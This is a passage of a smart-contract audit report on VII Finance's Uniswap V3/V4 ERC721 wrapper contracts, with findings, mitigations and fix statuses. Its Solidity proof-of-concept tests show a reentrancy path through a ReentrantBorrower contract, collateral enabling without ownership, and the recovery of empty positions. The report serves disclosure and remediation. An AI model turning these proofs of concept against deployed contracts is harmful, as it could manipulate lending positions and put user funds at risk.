+        tokenId = _tokenId;
+        eVault = _eVault;
+        evc = _evc;
+    }
+}
+
 contract MockUniswapV4Wrapper is UniswapV4Wrapper {
     using StateLibrary for IPoolManager;

@@ -125,7 +165,7 @@ contract UniswapV4WrapperTest is Test, UniswapBaseTest {

     TestRouter public router;

-    bool public constant TEST_NATIVE_ETH = false;
+    bool public constant TEST_NATIVE_ETH = true;

     function deployWrapper() internal override returns (ERC721WrapperBase) {
         currency0 = Currency.wrap(address(token0));
@@ -407,6 +447,59 @@ contract UniswapV4WrapperTest is Test, UniswapBaseTest {
         }
     }

+    function test_reentrancyPoC() public {
+        address attacker = address(new ReentrantBorrower());
+
+        LiquidityParams memory params = LiquidityParams({
+            tickLower: TickMath.MIN_TICK + 1,
```

```
+            tickUpper: TickMath.MAX_TICK - 1,
+            liquidityDelta: -19999
+        });
+
+        deal(token0, attacker, 100 * unit0);
+        deal(token1, attacker, 100 * unit1);
+        startHoax(attacker);
+        SafeERC20.forceApprove(IERC20(token0), address(router), type(uint256).max);
+        SafeERC20.forceApprove(IERC20(token1), address(router), type(uint256).max);
+        SafeERC20.forceApprove(IERC20(token0), address(mintPositionHelper), type(uint256).max);
+        SafeERC20.forceApprove(IERC20(token1), address(mintPositionHelper), type(uint256).max);
+        (tokenId,,) = boundLiquidityParamsAndMint(params, attacker);
+
+        startHoax(attacker);
+        wrapper.underlying().approve(address(wrapper), tokenId);
+        wrapper.wrap(tokenId, attacker);
+        wrapper.enableTokenIdAsCollateral(tokenId);
+
+        evc.enableCollateral(attacker, address(wrapper));
+        evc.enableController(attacker, address(eVault));
+
+        console.log("eVault.debtOfExact(attacker) before: %s", eVault.debtOfExact(attacker));
+        console.log("balanceOf(attacker, tokenId) before: %s", wrapper.balanceOf(attacker, tokenId));
+        console.log("balanceOf(attacker) before: %s", wrapper.balanceOf(attacker));
+
+        assertEq(wrapper.balanceOf(attacker, tokenId), wrapper.FULL_AMOUNT());
+        uint256 balanceBefore = wrapper.balanceOf(attacker);
+
+        ReentrantBorrower(payable(attacker)).setEnabled(wrapper, tokenId, eVault, evc);
+
+        wrapper.unwrap(
+            attacker,
+            tokenId,
+            attacker,
+            wrapper.FULL_AMOUNT() * 99/100,
+            bytes("")
+        );
+
+        console.log("eVault.debtOfExact(attacker) after: %s", eVault.debtOfExact(attacker));
+        console.log("balanceOf(attacker, tokenId) after: %s", wrapper.balanceOf(attacker, tokenId));
+        console.log("balanceOf(attacker) after: %s", wrapper.balanceOf(attacker));
+
+        assertEq(wrapper.balanceOf(attacker, tokenId), wrapper.FULL_AMOUNT() / 100);
+        assertGt(balanceBefore, wrapper.balanceOf(attacker));
+    }
+
     function testSkim() public {
         LiquidityParams memory params = LiquidityParams({
             tickLower: TickMath.MIN_TICK + 1,
--
2.40.0
```

**Recommended Mitigation:** While it has not been possible to identify a clear and material attack, it is still advised to consider the application of a reentrancy guard to prevent unsafe external calls made during the execution LP fee transfers being allowed to call back into the wrapper contracts.

**VII Finance:** Fixed in commit 88c9eec.

**Cyfrin:** Verified. Transfers that can result in reentrancy now occur at the end of partial unwrap, after the ERC-6909 tokens are burned.

### 7.4.2 Users can enable `tokenIds` as collateral even if they do not own any of the ERC-6909 supply

**Description:** It is possible for users to enable `tokenIds` that that they do not own as collateral. Based on the current remediated logic, it does not appear possible for this to be further weaponized beyond the blocking of liquidations, as described in C-01, stemming from the incorrect implementation `ERC721WrapperBase::normalizedToFull` as described in H-02. That said, this ability for a borrower to add a `tokenId` as collateral for which they have zero ERC-6909 balance should be explicitly forbidden. Liquidators who do not already own a share of the position but need to enable the `tokenId` as collateral to pass account liquidity checks should still be able to do so by utilizing the deferred checks of EVC batch calls.

**Impact:** Borrowers can freely enable `tokenIds` as collateral even if they do not own any of the underlying ERC-6909 balance.

**Proof of Concept:**

```
function test_enableCollateralPoC() public {
    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: -19999
    });

    (tokenId,,) = boundLiquidityParamsAndMint(params, borrower);

    startHoax(borrower);
    wrapper.underlying().approve(address(wrapper), tokenId);
    // avoid wrapping such that ERC-6909 total supply remains zero
    assertEq(wrapper.totalSupply(tokenId), 0);

    address borrower2 = makeAddr("borrower2");
    startHoax(borrower2);
    assertEq(wrapper.getEnabledTokenIds(borrower2).length, 0);
    wrapper.enableTokenIdAsCollateral(tokenId);
    assertEq(wrapper.getEnabledTokenIds(borrower2).length, 1);
}
```

**Recommended Mitigation:** Consider requiring a non-zero ERC-6909 balance when enabling collateral:

```
+   error TokenIdNotOwnedByBorrower(uint256 tokenId, address sender);

    function enableTokenIdAsCollateral(uint256 tokenId) public returns (bool enabled) {
        address sender = _msgSender();
        enabled = _enabledTokenIds[sender].add(tokenId);
        if (totalTokenIdsEnabledBy(sender) > MAX_TOKENIDS_ALLOWED) revert
        ↪  MaximumAllowedTokenIdsReached();
+       if (balanceOf(sender, tokenId) == 0) revert TokenIdNotOwnedByBorrower(tokenId, sender);
        if (enabled) emit TokenIdEnabled(sender, tokenId, true);
    }
```

**VII Finance:** Acknowledged. We don't want to be too restrictive. Liquidator might want to enable the `tokenIds` they get as collateral before they get it to prepare to collateralise the debt that they just took on.

**Cyfrin:** Acknowledged.

### 7.4.3 Underlying liquidity position is not transferred when fully unwrapping through the partial unwrap overload

**Description:** While the `ERC721WrapperBase` partial unwrap overload is intended for use following partial liquidations, it is possible for the sole holder of an ERC-6909 token to use this function to perform a full unwrap by specifying the the total supply of the corresponding `tokenId`:

```
function unwrap(address from, uint256 tokenId, address to, uint256 amount, bytes calldata extraData)
```

```
    external
    callThroughEVC
{
    _unwrap(to, tokenId, amount, extraData);
    _burnFrom(from, tokenId, amount);
}
```

The proportional share calculations implemented in the virtual `_unwrap()` will be executed to transfer the underlying principal balance plus LP fees to the sole holder, before burning the the entire ERC-6909 token supply and leaving the empty liquidity position NFT in the wrapper contract.

Given that the total supply of ERC-6909 tokens is now reduced to zero following such a call, the position can still be retrieved by performing a full unwrap of said empty position:

```
function unwrap(address from, uint256 tokenId, address to) external callThroughEVC {
    _burnFrom(from, tokenId, totalSupply(tokenId));
    underlying.transferFrom(address(this), to, tokenId);
}
```

The caveat is that this can be performed by anyone, since `_burnFrom()` invoked with a zero amount will succeed for any sender without reverting:

```
// ERC721WrapperBase
function _burnFrom(address from, uint256 tokenId, uint256 amount) internal {
    address sender = _msgSender();
    if (from != sender && !isOperator(from, sender)) {
        _spendAllowance(from, sender, tokenId, amount);
    }
    _burn(from, tokenId, amount);
}

// ERC6909
function _burn(address from, uint256 id, uint256 amount) internal {
    if (from == address(0)) {
        revert ERC6909InvalidSender(address(0));
    }
    _update(from, address(0), id, amount);
}

// ERC721WrapperBase
function _update(address from, address to, uint256 id, uint256 amount) internal virtual override {
    super._update(from, to, id, amount);
    if (from != address(0)) evc.requireAccountStatusCheck(from);
}

// ERC6909
function _update(address from, address to, uint256 id, uint256 amount) internal virtual {
    address caller = _msgSender();

    if (from != address(0)) {
        uint256 fromBalance = _balances[from][id];
        if (fromBalance < amount) {
            revert ERC6909InsufficientBalance(from, fromBalance, amount, id);
        }
        unchecked {
            // Overflow not possible: amount <= fromBalance.
            _balances[from][id] = fromBalance - amount;
        }
    }
    if (to != address(0)) {
        _balances[to][id] += amount;
    }
```

```
    emit Transfer(caller, from, to, id, amount);
}
```

This may not be desirable as a user who unwraps their position in this way may have their NFT retrieved or even burnt by a different account, and it will not be possible for them to mint the same `tokenId` once again.

**Impact:** An empty Uniswap V4 position remaining in the wrapper contract following full unwrap via the partial unwrap overload can be recovered and re-used by any sender by subsequently invoking the full unwrap and re-wrapping.

**Proof of Concept:**

```
function test_unwrapPoC() public {
    LiquidityParams memory params = LiquidityParams({
        tickLower: TickMath.MIN_TICK + 1,
        tickUpper: TickMath.MAX_TICK - 1,
        liquidityDelta: -19999
    });

    (uint256 tokenId1,,) = boundLiquidityParamsAndMint(params);

    startHoax(borrower);

    // 1. borrower wraps tokenId1
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, borrower);

    // 2. borrow fully unwraps via partial unwrap
    wrapper.unwrap(
        borrower,
        tokenId1,
        borrower,
        wrapper.FULL_AMOUNT(),
        bytes("")
    );

    // 3. borrower retrieves the empty position via full unwrap
    wrapper.unwrap(
        borrower,
        tokenId1,
        borrower
    );

    // 4. borrower re-wraps the position
    wrapper.underlying().approve(address(wrapper), tokenId1);
    wrapper.wrap(tokenId1, borrower);
}
```

**Recommended Mitigation:** If the total supply of a given ERC-6909 token is reduced to zero following a partial unwrap, consider also transferring the underlying NFT to the recipient.

**VII Finance:** Acknowledged. If total supply of a `tokenId` is zero at the end of unwrap, we know it is worth zero. We don't care about the `tokenId` after that.

**Cyfrin:** Acknowledged.

## 7.5 Informational

### 7.5.1 Extra data should only be decoded when its length is exactly 96 bytes

**Description:** When decreasing liquidity, both `UniswapV3Wrapper` and `UniswapV4Wrapper` assume that it will be possible to decode extra data if is has a non-zero length:

```
// UniswapV3Wrapper usage
(uint256 amount0Min, uint256 amount1Min, uint256 deadline) =
        extraData.length > 0 ? abi.decode(extraData, (uint256, uint256, uint256)) : (0, 0,
        ↪  block.timestamp);

// UniswapV4Wrapper usage
(uint128 amount0Min, uint128 amount1Min, uint256 deadline) = _decodeExtraData(extraData);

function _decodeExtraData(bytes calldata extraData)
    internal
    view
    returns (uint128 amount0Min, uint128 amount1Min, uint256 deadline)
{
    if (extraData.length > 0) {
        (amount0Min, amount1Min, deadline) = abi.decode(extraData, (uint128, uint128, uint256));
    } else {
        (amount0Min, amount1Min, deadline) = (0, 0, block.timestamp);
    }
}
```

However, this is not strictly true since execution of partial unwrap will revert if the length is less than the expected 96 bytes. While there is no impact to decoding bytes of the incorrect length in this case, a fallback to the default values may be preferable over reverting.

**Impact:** Malformed extra data will cause partial unwraps to revert.

**Recommended Mitigation:** Consider decoding extra data only when its length is exactly 96 bytes.

**VII Finance:** Fixed in commit 79741ea.

**Cyfrin:** Verified. The stricter `extraData` length check has been added to ensure correct decoding.

### 7.5.2 Duplicated `Math` import should be removed from `ERC721WrapperBase`

**Description:** The OpenZeppelin `Math` library is imported twice in `ERC721WrapperBase`, so one instance can be removed.

**VII Finance:** Fixed in commit e60cf39.

**Cyfrin:** Verified. The duplicate import has been removed.